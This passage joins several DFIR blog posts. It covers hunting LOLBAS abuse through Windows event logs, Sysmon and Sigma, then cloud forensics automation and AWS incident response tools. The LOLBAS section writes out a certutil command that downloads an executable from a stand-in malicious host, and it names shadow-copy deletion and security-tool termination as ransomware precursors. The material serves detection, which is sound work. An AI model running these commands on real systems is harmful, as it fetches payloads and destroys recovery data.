for LOLBAS because the executables involved are usually Microsoft-signed binaries, which are seen as legitimate. Parent Command Line : The parent process command line can be very informative in some situations, especially when exploring more advanced attack chains. However, for many LOLBAS hunts, it might just indicate cmd.exe or explorer.exe, which are often used as the parent processes in these attacks. 2. Windows Security Event 4688 (Process Creation) Windows Security Event 4688  is another valuable source for capturing process creation data. For LOLBAS hunting, focusing on a few key fields in Event 4688 is particularly useful: Parent Process : Although often cmd.exe or explorer.exe , this information can reveal if the process was initiated by a legitimate GUI or a script , or if it was spawned by a more suspicious process like w3wp.exe (IIS) running CertUtil.exe. If the parent process is something like IIS or a PowerShell script , it suggests automation or an attack executed remotely (e.g., via a webshell). Process Command Line : This is critical because it includes any arguments passed to the executable . In LOLBAS attacks, unusual command-line switches or paths used by trusted binaries (like CertUtil.exe -urlcache) can reveal malicious intent. Token Elevation Type : %%1936 : Full token with all privileges, suggesting no UAC restriction . %%1937 : Elevated privileges, indicating that a user has explicitly run the application with “Run as Administrator.” %%1938 : Normal user privileges. These indicators are helpful to see if the binary was executed with elevated permissions , which could hint at privilege escalation attempts. 3. Windows Firewall Event Logs for LOLBAS Detection Firewalls can provide additional information about LOLBAS activities , particularly in relation to network-based attacks . Event logs such as 5156  (allowed connection) or 5158  (port binding) can help spot outbound connections initiated by LOLBAS binaries like CertUtil.exe or Bitsadmin.exe. Key fields in firewall logs: Process ID/Application Name : This tells you which binary initiated the network connection. Tracking legitimate but rarely used binaries (e.g., CertUtil) making outbound connections to unusual IP addresses can indicate an attack. Destination IP Address : Correlating this with known good IPs or threat intelligence data is critical to confirm whether the connection is benign or suspicious. 4. Event Log Analysis for LOLBAS For deeper LOLBAS detection, multiple event logs should be analyzed together: 4688 : Logs the start of a process (the key event for initial execution detection). 4689 : Logs the end of a process , providing insights into how long the process was running and whether it completed successfully. 5156 and 5158 : Track firewall events, focusing on port binding and outbound connections. Any outbound traffic initiated by unusual executables like Bitsadmin.exe or CertUtil.exe should be scrutinized. 5. Detecting Ransomware Precursors with LOLBAS Many ransomware attacks involve the use of LOLBAS commands to weaken defenses or prepare the environment for encryption: Disabling security tools : Commands like taskkill.exe or net stop are used to terminate processes that protect the system . Firewall/ACL modifications : netsh.exe might be used to modify firewall rules to allow external connections. Taking ownership of files : This ensures the ransomware can encrypt files unhindered. Disabling backups/Volume Shadow Copies : Commands like vssadmin.exe delete shadows are common to prevent file recovery. Since these activities often involve legitimate system tools, auditing these actions can serve as an early warning. 6. Improving Detection with Windows Auditing For better detection of LOLBAS attacks and ransomware precursors, implement the following Windows auditing  settings: Process Creation Auditing : Auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable This ensures that every process creation event is logged, which is crucial for identifying LOLBAS activity. Command Line Auditing : reg add "hklm\software\microsoft\windows\currentversion\policies\system\audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 Enabling command-line logging is crucial because LOLBAS binaries often need unusual arguments to perform malicious actions. PowerShell Logging : reg add "hklm\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging /t REG_DWORD /d 1 reg add "hklm\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 PowerShell script block logging captures the full content of commands executed within PowerShell, which is a key LOLBAS tool used for various attacks. 7. Sysmon: Enhanced Visibility for LOLBAS Deploying Sysmon  enhances your visibility into system activities, especially for LOLBAS detection: File Hashes : Sysmon captures the hash of the executing file , which is less helpful for LOLBAS as these files are usually legitimate. However, the combination of the file hash with process execution data can still provide context. Process Command Line : Sysmon logs detailed command-line arguments, which are crucial for spotting LOLBAS attacks . The presence of rarely used switches or network connections from unexpected binaries is a red flag. Because Sysmon captures more detailed process creation data than Windows Security Events, it’s a preferred tool for more advanced hunting, especially when dealing with stealthy attacks involving LOLBAS tools. 8. Sigma Rules for LOLBAS Detection Sigma rules provide a framework for creating reusable detection logic that can work across different platforms and SIEM solutions. Using Sigma, you can write detection logic in a human-readable format and then convert it into SIEM-specific queries using tools like Uncoder.io . Advantages of Sigma : Detection logic is SIEM-agnostic . This allows you to use the same detection rules even if your organization switches SIEM platforms. Sigma rules can be easily integrated with Sysmon , Windows Security Events , and other logging tools, making them highly adaptable. By using Sigma for LOLBAS detection, you ensure consistent alerts across all environments. 9. Practical Example of LOLBAS Detection: CertUtil Here’s an example of how CertUtil.exe  might be used in an attack: certutil.exe -urlcache -split -f http[:]//malicious-site[.]com/evilfile.exe goodfile.exe This command downloads a file from a remote server and stores it on the local system. While CertUtil  is a legitimate Windows tool for managing certificates, it can be misused for file downloads. Sysmon Event 1 : You would capture the process command line   and see the -urlcache argument, which is rare in normal usage. Firewall Event 5156 : Logs the connection attempt from CertUtil.exe   to the malicious IP. Security Event 4688 : Logs the creation of CertUtil.exe , providing the process ID and command-line arguments. Conclusion: Effectively hunting LOLBAS and fileless malware requires a combination of detailed event logging, process monitoring, prefetch analysis, and centralized log management. By leveraging tools like Sysmon , Velociraptor , and Sigma, organizations can strengthen their detection capabilities and proactively defend against stealthy attacks that rely on legitimate system tools to evade traditional security measures. Akash Patel

For those of us working in digital forensics  and incident response (DFIR) , keeping up with the cloud revolution can feel overwhelming at times. We're experts in tracking down security incidents and understanding what went wrong, but many of us aren't DevOps engineers  by trade. That’s okay—it’s not necessary to become a full-time cloud architect to take advantage of the powerful automation tools  and workflows available in platforms like AWS . Instead, we can collaborate with engineers and developers who specialize in these areas to create effective, scalable solutions that align with our needs. ----------------------------------------------------------------------------------------------------------- Getting Started with Cloud-Based Forensics For those who are new to the cloud or want a quick start to cloud forensics, A mazon Machine Images (AMIs)  are a great option. AMIs are pre-configured templates that contain the information required to launch an instance . If you’re not yet ready to build your own custom AMI, there are existing ones you can use. SIFT (SANS Investigative Forensic Toolkit)  is a popular option for forensics analysis and is available as an AMI. While it’s not listed on the official AWS Marketplace, you can find the latest AMI IDs on the github page and launch them from the EC2 console. https://github.com/teamdfir/sift#aws Security Onion  is another robust tool for network monitoring and intrusion detection. They publish their releases as AMIs, although there’s a small charge to cover regular update services. If you want full control, you can build your own AMI from their free distribution. As your team grows in its cloud forensics capabilities, you may want to create custom AMIs  to fit specific use cases . EC2 Image Builder  is a helpful AWS service that makes it easy to create and update AMIs, complete with patches and any necessary updates. This ensures that you always have a reliable, up-to-date image for your incident response efforts. ----------------------------------------------------------------------------------------------------------- Infrastructure-as-Code: A Scalable Approach to Forensics Environments As your organization expands its cloud infrastructure, it's essential to deploy forensics environments quickly and consistently. This is where Infrastructure-as-Code (IaC)  comes into play. IaC allows you to define and manage your cloud resources using code, making environments easily repeatable and reducing the risk of configuration drift. One of the key principles of IaC is idempotence . This means that, no matter the current state of your environment, running the IaC script will bring everything to the desired state. This makes it easier to ensure that forensic environments are deployed consistently and accurately every time. ----------------------------------------------------------------------------------------------------------- CloudFormation and Terraform A WS provides its own IaC tool called CloudFormation , which uses JSON  or YAML  files to define and automate resource configurations . AWS also offers CloudFormation templates  for various use cases, including incident response workflows. These templates can be adapted to fit your specific needs, making it easy to set up response environments quickly. You can explore some ready-to-use templates. https://aws.amazon.com/cloudformation/resources/templates/ However, if your organization operates across multiple cloud providers—such as Azure , Google Cloud , or DigitalOcean — you might prefer an agnostic solution like Terraform . Terraform, developed by HashiCorp , allows you to write a single set of scripts that can be applied to various cloud platforms, streamlining deployment across your entire infrastructure. ----------------------------------------------------------------------------------------------------------- Automating Forensic Tasks with AWS Lambda One of the most exciting aspects of cloud-based forensics is the potential for automation , and AWS Lambda  is a key player in this space. Lambda lets you run code without provisioning servers, and it’s event-driven , meaning it automatically executes tasks in response to certain triggers . This is perfect for incident response, where every second counts. https://aws.amazon.com/lambda/faqs/ For example, let’s say you’ve set up a write-only S3 bucket  for triage data. Lambda can be triggered whenever a new file is uploaded, automatically kicking off a series of actions such as running a triage analysis script or notifying your response team. The best part is that you’re only charged for the execution time, not for keeping a server running 24/7. Lambda supports multiple programming languages, including Python , Node.js , Java , Go , Ruby , C# , and PowerShell . This flexibility makes it easy to integrate with existing workflows, no matter what scripting languages you’re comfortable with. https://github.com/awslabs/ ----------------------------------------------------------------------------------------------------------- AWS Step Functions: Orchestrating Complex Workflows While Lambda excels at executing individual tasks, AWS Step Functions  allow you to orchestrate complex, multi-step workflows . In the context of incident response, this means you can automate an entire forensics investigation, from capturing an EC2 snapshot to running analysis scripts and generating reports. One example of a Step Function workflow comes from the AWS Labs  project titled “EC2 Auto Clean Room Forensics ” . Here’s how the workflow operates: Capture a snapshot  of the target EC2 instance’s volumes. Notify the team via Slack  that the snapshot is complete. Isolate  the compromised EC2 instance. Create a pristine analysis instance  and mount the snapshot. Use the AWS Systems Manager (SSM)  agent to run forensic scripts on the instance. Generate a detailed report. Notify the team when the investigation is complete. This kind of automation significantly speeds up the forensic process, allowing your team to focus on higher-level analysis rather than repetitive tasks. ----------------------------------------------------------------------------------------------------------- Other Automation Options for Forensics in the Cloud If you don’t have the resources or time to dive deep into AWS-specific solutions, there are plenty of other automation options available that work across cloud platforms. For instance, dfTimewolf , developed by Google’s IR team , is a Python-based framework designed for automating DFIR workflows. It includes recipes for AWS, Google Cloud Platform (GCP) , and Azure , allowing you to streamline evidence staging and processing across multiple cloud environments. Alternatively, if you’re comfortable with shell scripting  and the AWS CLI , you can develop your own lightweight automation scripts. For example, R econ InfoSec  has released a simple yet powerful project that ingests triage data from S3 and processes it in Timesketch . This is an excellent way to automate data handling without building a complex pipeline from scratch. https://dftimewolf.readthedocs.io/en/latest/developers-guide.html https://libcloud.apache.org/index.html ----------------------------------------------------------------------------------------------------------- The Importance of Practice in Cloud Incident Response Automation can dramatically improve your response times and overall efficiency, but it’s essential to practice these workflows regularly. Cloud technology evolves rapidly, and so do the risks associated with it. By practicing response scenarios—whether using AWS Step Functions , Terraform , or even simple CLI scripts —you can identify gaps in your processes and make improvements before a real incident occurs. AWS also provides several incident response simulations  that allow you to practice responding to real-world scenarios. These are excellent resources to test your workflows and ensure that your team is always ready. ----------------------------------------------------------------------------------------------------------- Conclusion Stay proactive by experimenting with these technologies, practicing regularly, and continuously refining your workflows. Cloud adoption is accelerating, and with it comes the need for robust, automated incident response strategies that can keep up with this evolving landscape Akash Patel

When it comes to managing networks—whether on-premise or in the cloud—one of the biggest challenges is understanding what’s happening with your traffic . That's where flow logs  and traffic mirroring  come in . These tools provide essential visibility into network activity, helping with everything from troubleshooting to detecting suspicious behavior. ------------------------------------------------------------------------------------------------------------- Flow Logs: The Call Records of Your Network Think of flow logs as the "call records" of your network. Just like a phone bill shows who called whom, at what time, and for how long, flow logs show similar information but for network traffic. For example, you can track: Which source IP  is communicating with which destination IP Ports  being used Timestamp  of the traffic Volume of data  transferred This level of detail is invaluable for general troubleshooting  and tracking unusual activity  in your network. Flow logs give you a high-level summary, making it easy to see patterns and spot anomalies. ------------------------------------------------------------------------------------------------------------- Storing and Analyzing Flow Logs In AWS, flow logs can be stored in Amazon S3  for archiving or sent to CloudWatch Logs  for real-time analysis . Sending them to CloudWatch gives you the ability to: Query logs directly  for ad-hoc analysis Set up alerts  (e.g., for detecting high bandwidth usage) For more advanced analysis, you can export flow logs to systems like Elasticsearch  or Splunk , where you can take advantage of their powerful search capabilities to dig deeper into network behavior. To get started with flow logs, check out the AWS documentation. https://aws.amazon.com/blogs/aws/learn-from-your-vpc-flow-logs-with-additional-meta-data/ https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html ------------------------------------------------------------------------------------------------------------- Traffic Mirroring: Dive into Network Traffic While f low logs provide summaries , traffic mirroring  lets you go a step further by capturing the actual network traffic . This is useful for tasks like network intrusion detection . With traffic mirroring, you can copy traffic from a network interface on an EC2 instance and send it to a monitoring instance, which can be in the same VPC or even in a separate account. This is particularly helpful for security investigations . For instance, during the COVID-19 pandemic, the company CRED  used traffic mirroring to enhance network inspection for employees working from home. Traffic mirroring allows you to: Filter traffic , so you only capture the data you need Send traffic to a dedicated security enclave  for analysis Monitor traffic from multiple locations, even across different AWS accounts If you’re interested in setting this up, AWS has a helpful guide.. https://docs.aws.amazon.com/vpc/latest/mirroring/what-is-traffic-mirroring.html ------------------------------------------------------------------------------------------------------------- Cloud Incident Response: Why It’s Different and How to Prepare One of the golden rules of incident response (IR)  in the cloud is simple: Go to where the data is . Investigating incidents directly in the cloud offers significant advantages: Faster access  to data Scalable computing resources  for analyzing large datasets Built-in automation  tools to speed up the investigation But to make the most of these benefits, you need to plan ahead . For example, ensure that your security team has access to cloud assets before an incident occurs . This avoids delays in gathering the necessary data when time is of the essence. ------------------------------------------------------------------------------------------------------------- Gaining Access to Cloud Assets Getting access to cloud data for incident response can be challenging if not properly planned. At a minimum, your s ecurity team should have direct communication lines with cloud administrators to quickly gain access. However, it’s b etter to set up federated authentication  so the security team can assume roles in AWS accounts as needed. Tools like AWS Organizations  can help manage access and ensure consistent logging across accounts. Read more about preparing for cloud incidents. https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/aws-security-incident-response-guide.html ------------------------------------------------------------------------------------------------------------- Using the Cloud to Build Incident Response Labs One of the exciting possibilities of using cloud infrastructure for incident response is the ability to quickly spin up investigative labs . In a cloud environment, you can: Scale analysis hosts  on demand Quickly access network and host data Create security enclaves  (i.e., isolated AWS accounts) for storing and analyzing sensitive information AWS Control Tower offers a framework for organizing and managing these security accounts, which act as a boundary to protect data from potential intruders in production accounts. You can even create forensic accounts  specifically for investigating incidents. Additionally, tools like Velociraptor are useful for triaging data and live analysis , even in the cloud. Building out these capabilities in the cloud enables you to respond more efficiently to incidents while reducing risk. For more information, check out AWS’s guidance on forensic investigation strategies. https://docs.aws.amazon.com/prescriptive-guidance/latest/designing-control-tower-landing-zone/introduction.html ------------------------------------------------------------------------------------------------------------- When it comes to incident response (IR)  in the cloud, especially with AWS, having the right security accounts  and forensic tools  in place is essential for efficient investigations. Cloud-based incidents often involve extensive log analysis , which can be complex given the various ways AWS stores and manages logs . Additionally, dealing with network forensic s in environments using VPCs  and EC2 instances  requires preparation with tools for both disk-based  and network-based analysis . Accessing Logs for Cloud Investigations One of the main challenges in cloud incident response is accessing and analyzing logs . Logs can be stored in various formats and locations within AWS. For example: VPC flow logs  might be archived in S3 buckets  or sent to CloudWatch  for real-time processing. Organizations may centralize logs in dedicated log archive accounts  or aggregate them into a security account for streamlined access. When preparing your environment, create a clear logging architecture  across all accounts, ensuring read-only access  to critical logs . This allows your security team to quickly access the data without worrying about unauthorized modifications. Additionally, you may configure a security account  to subscribe to logs from other accounts via CloudWatch . This can centralize log management, allowing custom views and integration with SIEM tools for better incident tracking. However, be mindful of potential costs and redundancy if logs are already being stored elsewhere. ------------------------------------------------------------------------------------------------------------- Capturing Network Data: VPC Traffic Mirroring and PCAP If your organization uses VPCs  and EC2 instances , VPC traffic mirroring  is a critical tool for capturing network traffic  in real-time . This feature can provide PCAP  data , which is often pivotal in identifying and analyzing suspicious network behavior . By setting up traffic mirroring, you can send real-time network data to your analysis environment, ensuring that no important traffic is missed during an investigation. F orensic readiness in AWS also includes using Elastic Block Storage (EBS)  snapshots to capture disk images. Snapshots are quick and easy to create, allowing you to preserve the state of an EC2 instance at a specific moment in time . These snapshots can be shared with your security account for further analysis. Be sure that your team has access to the relevant encryption keys  if the EBS volume is encrypted. ------------------------------------------------------------------------------------------------------------- Ensuring Secure and Compliant Data Handling When dealing with sensitive data, security and compliance are paramount. For example: Use S3 Object Lock  to make logs immutable , preventing them from being altered or deleted during an investigation. Enable S3 Versioning  to keep track of changes and allow easy recovery of previous versions. Implement MFA Delete  to enforce multi-factor authentication before any versions can be deleted, adding an extra layer of protection. For long-term storage, S3 Glacier  offers a cost-effective solution for storing logs and forensic data, while still providing the flexibility to retrieve data when needed. ------------------------------------------------------------------------------------------------------------- Deploying Security Tools Across AWS Regions One of the unique aspects of working in AWS is the ability to deploy resources across different regions. Since AWS has 25+ regions , ensure that your security tools  can be easily deployed wherever your company operates. This is important for: Speed : It may be quicker to access data from the same region where it was generated rather than transferring it across regions. Cost : Cross-region data transfers incur additional fees, so keeping analysis local can save money. Compliance : In some cases, privacy laws may restrict moving data across national borders, even within AWS. Deploying clean instances  of your security tooling in each region ensures you can respond quickly without jurisdictional or logistical hurdles. ------------------------------------------------------------------------------------------------------------- Secure Communications During Incident Response During an incident, secure communication is critical . Advanced attackers have been known to monitor security teams, so ensure you have a secure communication plan  in place. This could involve using dedicated cloud resources  outside your usual business channels to avoid being compromised during critical moments. Whether hosted on AWS or another provider, the key is to have a secure, well-thought-out system in place before an incident occurs. ------------------------------------------------------------------------------------------------------------- Automating Triage and Evidence Collection Automation plays a vital role in speeding up incident response. AWS Systems Manager (SSM)  is a powerful tool for automating tasks , such as running triage scripts or gathering evidence from EC2 instances. The SSM agent , commonly installed on AWS hosts, can also be used on-premise or in other cloud environments, providing flexibility across different systems. For example, incident responders can use the SSM agent to attach a shared EBS volume  to a running EC2 instance, capturing volatile memory or other critical data without using privileged accounts. This minimizes risk and ensures evidence is collected efficiently. AWS also provides a range of automation scripts that leverage Systems Manager  to extract data for later analysis, significantly improving response times during an incident. ------------------------------------------------------------------------------------------------------------- Practice and Plan for Incident Response Just as in sports, the key to successful incident response is practice. A WS offers incident simulation scenarios  to help teams prepare for real-world situations . These simulations help identify gaps in your plan and provide opportunities to optimize processes. By regularly practicing these scenarios, your team can improve their confidence and ability to handle incidents effectively. ----------------------------------------------------------------------------------------------------- Conclusion Building an efficient incident response strategy in AWS requires a combination of planning , tooling , and automation . By leveraging AWS features like flow logs , VPC traffic mirroring , and EBS snapshots , security teams can gain deep visibility into both network and disk activity. Automation tools, such as AWS Systems Manager , further enhance the response by simplifying evidence collection and triage Akash Patel

AWS’s very own Security Incident Response Guide .  While I’ll cover some of the main highlights here, it’s worth taking a full look yourself—they’ve balanced the technical depth with an easy-to-follow structure. You can check out the guide. https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/enrich-security-logs-and-findings.html ------------------------------------------------------------------------------------------------------------------------- AWS Shared Responsibility Model One of the first things to understand when working with AWS security is their Shared Responsibility Model . It's simple: AWS handles the security of the cloud infrastructure , and you’re responsible for securing what you put in the cloud . Here's the breakdown: If you’re running a VPC with EC2 instances , you need to handle things like patching the OS, securing access, and configuring networks. On the flip side, if you’re using something like an AWS Lightsail MySQL database , AWS takes care of the underlying infrastructure, while you manage the database's credentials and access settings. In short, AWS makes sure the cloud itself is secure, but it’s up to you to secure your data and apps. You can read more on this. https://aws.amazon.com/compliance/shared-responsibility-model/ ------------------------------------------------------------------------------------------------------------------------- AWS Incident Domains According to the AWS Security Incident Response Guide, there are three main domains to watch out for when responding to security incidents: Service Domain : This involves issues with the AWS account itself—usually caused by compromised credentials. Attackers might use these to access your environment, view your data, or change configurations. Infrastructure Domain : Think of this as network-level incidents , often due to a vulnerable or misconfigured app exposed to the internet . These incidents could involve an attacker gaining a foothold in your VPC, and even trying to spread within your cloud or back into your on-premises environment. Application Domain : This is when attackers target your hosted apps, often exploiting vulnerabilities like SQL injection to get unauthorized access to sensitive data. More on incident domains can be found https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/incident-domains.html ------------------------------------------------------------------------------------------------------------------------- AWS Detection and Response Tools In case of an incident, AWS has a range of tools to help you investigate and respond. CloudTrail : Logs API activity in your account, tracking user actions, configurations, and more. It’s a key service for understanding what’s happening in your environment. CloudWatch : Monitors resources and applications, and you can set up alerts for suspicious activity. GuardDuty : AWS’s security threat detection service that specifically looks for compromised accounts or unusual activity in your environment. Macie : Focuses on sensitive data like PII and can alert you when data exposure risks arise, especially in S3 buckets . ------------------------------------------------------------------------------------------------------------------------- AWS Log Analysis: CloudTrail Overview CloudTrail  is a key player in monitoring your AWS environment. It logs all the actions taken in your AWS account at the API level, meaning everything from logins to configuration changes. The l ogs are stored for 90 days by default , but you can easily archive them in an S3 bucket for longer retention. You can search the logs using the CloudTrail console or services like Athena  and AWS Detective . By default, CloudTrail is almost real-time , with events typically logged within 15 minutes . It’s free for 90 days, but longer-term storage will require setting up a custom trail to an S3 bucket. More info can be found. https://aws.amazon.com/cloudtrail/faqs/ ------------------------------------------------------------------------------------------------------------------------- CloudTrail Log Format CloudTrail logs are stored in JSON format , making them easy to read and analyze. The logs contain useful fields, such as: API caller information  (who did what), Time of the API call , Source IP  (where the request came from), Request parameters  and response elements , which can contain nested data for more detailed information. Since AWS supports over 200 services, most of them can log actions into CloudTrail. For more details, check the supported services. https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-aws-service-specific-topics.html To under JSON Format log in easy way use below tools: https://jqlang.github.io/jq/ https://jqplay.org/ ------------------------------------------------------------------------------------------------------------------------- Anomaly Detection in AWS AWS offers several tools to detect unusual or malicious activity in your environment: CloudTrail Insights : Uses machine learning to spot strange patterns in your AWS usage, like sudden spikes in resource use or odd IAM actions . It’s not enabled by default, so you’ll need to set it up for each trail. However, there’s an extra cost for this feature (about $0.35 per 100,000 events). GuardDuty : Focuses on s ecurity issues and provides real-time threat detection across your AWS environment. Macie : Great for identifying sensitive data (like PII) and ensuring your S3 buckets are properly configured to protect that data. For more on how these services work, see the full guide. https://cloudcompiled.com/blog/cloudwatch-cloudtrail-difference/ ------------------------------------------------------------------------------------------------------------------------- AWS CloudWatch CloudWatch  is the go-to tool for monitoring in AWS , but it’s not just about keeping an eye on performance and uptime. While its core focus is availability and performance, you can send logs from most AWS services to CloudWatch , making it a versatile tool for security monitoring  too. Once logs are in, you can configure alerts and automation rules to respond to security threats. Here’s how AWS describes it: "You can use CloudWatch to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly." It’s important to note that while basic health monitoring  with CloudWatch is free, more advanced logging and monitoring will incur additional costs . Many companies have shared their best practices for configuring CloudWatch for security monitoring. Even commercial security vendors, like TrendMicro  and Intelligent Discovery , offer predefined monitoring configurations for CloudWatch, which can also serve as inspiration for setting up your own rules . CloudWatch has layers of complexity, and while we’re only scratching the surface, it’s worth diving deeper if you want more control over your AWS monitoring. For a deeper look into AWS security monitoring, check out this article: "What You Need to Know About AWS Security Monitoring, Logging, and Alerting"   ------------------------------------------------------------------------------------------------------------------------- AWS GuardDuty If CloudWatch is AWS’s all-purpose monitor, GuardDuty  is the one with laser focus on security threats . GuardDuty scans your environment for suspicious activities across different layers, including: Control plane  (via CloudTrail management events) Data plane  (monitoring S3 data access) Network plane  (checking VPC flow logs and Route53 DNS logs) GuardDuty uses a mix of anomaly detection , machine learning , and malicious IP lists  to detect threats like unauthorized account access, compromised resources, or unusual S3 activity . What’s great is that it does all of this out-of-band , meaning it doesn’t impact the performance of your systems. Integration with major cybersecurity vendors also adds value to GuardDuty’s alerts, allowing you to get more context and take action across both cloud and on-prem environments. The pricing is based on the volume of events processed, and you can find more details about the costs and alerts it covers. https://aws.amazon.com/guardduty/pricing/ For a complete list of integrations and partners that enhance GuardDuty, check out the partner directory. https://aws.amazon.com/guardduty/resources/partners/ ------------------------------------------------------------------------------------------------------------------------- Amazon Detective Amazon Detective  is like the investigator that steps in after the alarm has been raised . It doesn’t focus on detecting threats like GuardDuty; instead, i t helps you respond to them more effectively by adding context to alert s. It pulls data from sources like GuardDuty alerts , CloudTrail logs , and VPC flow logs  to give you a clearer picture of what’s happening. Think of Detective as a tool to help you connect the dots after a security alert . It can be particularly useful when dealing with complex incidents that need deeper investigation. Like other AWS services, it comes with a 30-day free trial , but keep in mind that GuardDuty  is a prerequisite for using Detective. Another useful tool in AWS’s security stack is Security Hub , which consolidates findings from various AWS services like GuardDuty , Macie , and AWS Config  into a single dashboard for easier management. This makes it easier to see both preventative and active threat data in one place. I For more info on Detective, check out the FAQs  and their blog post "Amazon Detective – Rapid Security Investigation and Analysis"  . ------------------------------------------------------------------------------------------------------------------------- Conclusion: AWS offers a powerful suite of tools for monitoring, detecting, and investigating security incidents in your cloud environment. CloudWatch  provides a flexible platform for performance and security monitoring, enabling users to set alerts and automate actions based on logs from various AWS services. GuardDuty  takes this a step further, focusing specifically on detecting threats across control, data, and network planes using advanced techniques like machine learning and anomaly detection. When a security alert is triggered, Amazon Detective  steps in to provide valuable context, helping you analyze and respond effectively to incidents. Akash Patel

AWS Regions and API Endpoints Amazon Web Services (AWS)  is a cloud platform offering a vast array of services that can be accessed and managed via APIs. These services are hosted in multiple regions  across the globe, and each AWS service in a region has a unique endpoint . An e ndpoint is a URL  that consists of a service code and region code, following the format: ..amazonaws.com Examples of Service Codes: EC2 : Elastic Compute Cloud (VMs) - ec2 S3 : Simple Storage Service - s3 IAM : Identity and Access Management - iam The l ist of all AWS services and their corresponding service codes can be found. https://docs.aws.amazon.com/general/latest/gr/aws-service-information.html Example of an API Endpoint To interact with EC2 instances in the US-East-1 region , the endpoint would be: ec2.us-east-1.amazonaws.com AWS operates over 200 services  globally, each accessible through region-specific endpoints. Reference: https://aws.amazon.com/what-is-aws/ -------------------------------------------------------------------------------------------------------------------------- Amazon Resource Name (ARN) Amazon Resource Names (ARNs)  are unique identifiers used in AWS to refer to resources programmatically. ARNs follow a specific format to ensure resources can be identified across all AWS regions and services . ARNs are commonly found in logs or configuration files when you need to specify a resource precisely. ARN Format arn:partition:service:region:account-id:resource Example: arn:aws:iam:us-east-1:690735260167:role/flowlogsRole Partition : Typically aws (for standard AWS regions) Service : The AWS service code (e.g., ec2, s3) Region : The AWS region (e.g., us-east-1) Account-ID : The AWS account ID associated with the resource Resource : Specifies the resource or resource type (can include wildcards) While ARNs can precisely specify resources, they also allow for wildcards  in some instances (e.g., for querying multiple resources). However, wildcard usage in configurations can lead to overly broad permissions, posing security risks. Reference: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html -------------------------------------------------------------------------------------------------------------------------- AWS Cloud Networking Constructs AWS provides a flexible and secure networking model using Virtual Private Cloud (VPC) , which allows users to create isolated networks for hosting services. Within a VPC, several components are used to manage and structure the networking: VPC (Virtual Private Cloud) : A logically isolated section of the AWS cloud where you can launch AWS resources (such as EC2 instances) within a defined network. Components within a VPC: Subnet : A segment within a VPC that allows the network to be divided into smaller sub-networks. Each VPC must have at least one subnet. Route Table : Similar to a router in a traditional network, a route table defines how traffic is routed between subnets or to external networks like the Internet . A route to the Internet requires either an Internet Gateway  or NAT Gateway . Internet Gateway : This allows EC2 instances with public IPs  to access the Internet. While the instance's network interface retains its private IP, an Internet Gateway enables the routing of traffic between the instance's public IP and external sources. NAT Gateway : Used for outgoing Internet traffic  from instances with private IP addresses . It performs a similar function to home network NAT gateways, allowing private instances to connect to the Internet. Security Group : A virtual firewall that controls inbound and outbound traffic for EC2 instances. Security groups can be specific to an individual EC2 instance or shared across multiple instances within the same VPC. Reference: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html -------------------------------------------------------------------------------------------------------------------------- AWS Computing Constructs EC2 (Elastic Compute Cloud)  is AWS's scalable virtual machine (VM) service that runs on their proprietary hypervisor. EC2 provides a range of instance types to suit different workloads, from general-purpose instances to compute-optimized and memory-optimized configurations. You can explore the variety of available instance types  on the AWS EC2 instance types page . Key Features: Instance Types : Different combinations of CPU, memory, storage, and networking to fit various use cases. Auto-Scaling : EC2 instances can be dynamically scaled based on traffic or load requirements. Pay-As-You-Go Pricing : You only pay for what you use, based on the time and resources consumed. AMI (Amazon Machine Images) AMIs are pre-configured VM templates designed for easy deploymen t. These images come with the necessary operating systems and utilities to run in AWS. AMIs vary from minimal base OS images (such as Linux or Windows) to complex images pre-installed with software for specific tasks. SIFT AMI : One notable AMI available is the SANS Community SIFT  VM, a preconfigured forensic image, which can be found via its GitHub repository . AWS Marketplace : Thousands of AMIs are available through the AWS Marketplace , including those with licensed commercial software. -------------------------------------------------------------------------------------------------------------------------- AWS Storage Constructs AWS provides a variety of storage options, including S3 (Simple Storage Service)  and EBS (Elastic Block Storage) , each serving different purposes based on accessibility, scalability, and performance needs. S3 (Simple Storage Service) S3  is an object storage service known for its scalability, flexibility, and durability . S3 allows users to store any type of data (files, media, backups) and access it from anywhere on the internet. Highly Scalable : You can store an unlimited amount of data. Object-Based Storage : Ideal for files and media rather than application disk storage. Access Controls : S3 features complex permission settings, including bucket policies, access control lists (ACLs), and encryption. S3 Security : Despite its flexibility, S3 has been involved in multiple data breaches due to misconfigurations . While AWS has improved the UI to minimize user errors, poor configurations have historically exposed large amounts of data. For example: High-profile breaches occurred due to public access settings  or misinterpretations of policies, like the "Any authenticated AWS user" option, which inadvertently opened data access to any AWS account. EBS (Elastic Block Storage) EBS  is a block storage service primarily used as a hard drive for EC2 instances . EBS volumes are tied to specific EC2 instances and are ideal for applications requiring consistent, low-latency disk storage. Volume Types : Different types of EBS volumes support various workloads, such as SSD  for high transactional applications and HDD  for throughput-focused tasks. Snapshots : EBS volumes can be easily backed up using snapshots, which can be stored long-term or used for disaster recovery. References. https://aws.amazon.com/ebs/ -------------------------------------------------------------------------------------------------------------------------- S3 in the News for the Wrong Reasons Several S3 data breaches  have occurred over the years, often d ue to misconfigurations  rather than inherent security flaws . Two common issues include: Overly Broad Permissions : Administrators have mistakenly allowed public access or configured the built-in group " Any authenticated AWS user ," granting access to anyone with an AWS account rather than just their organization. Hard-coded Security Keys : Developers have accidentally exposed AWS access keys  in code repositories, like GitHub, leading to unauthorized access. For instance, in one notable incident, AWS keys were committed to a public GitHub repository, and within 5 minutes , attackers had exploited the keys to spin up EC2 instances for cryptocurrency mining. To help prevent these issues, AWS has implemented features that detect leaked credentials and restrict public access to S3 buckets by default. Examples of S3 breaches include: U.S. Voter Records : In a 2017 breach, 198 million U.S. voter records  were exposed due to a misconfigured S3 bucket . Defense Contractor : Sensitive intelligence data was exposed when an S3 bucket belonging to a defense contractor was left publicly accessible . 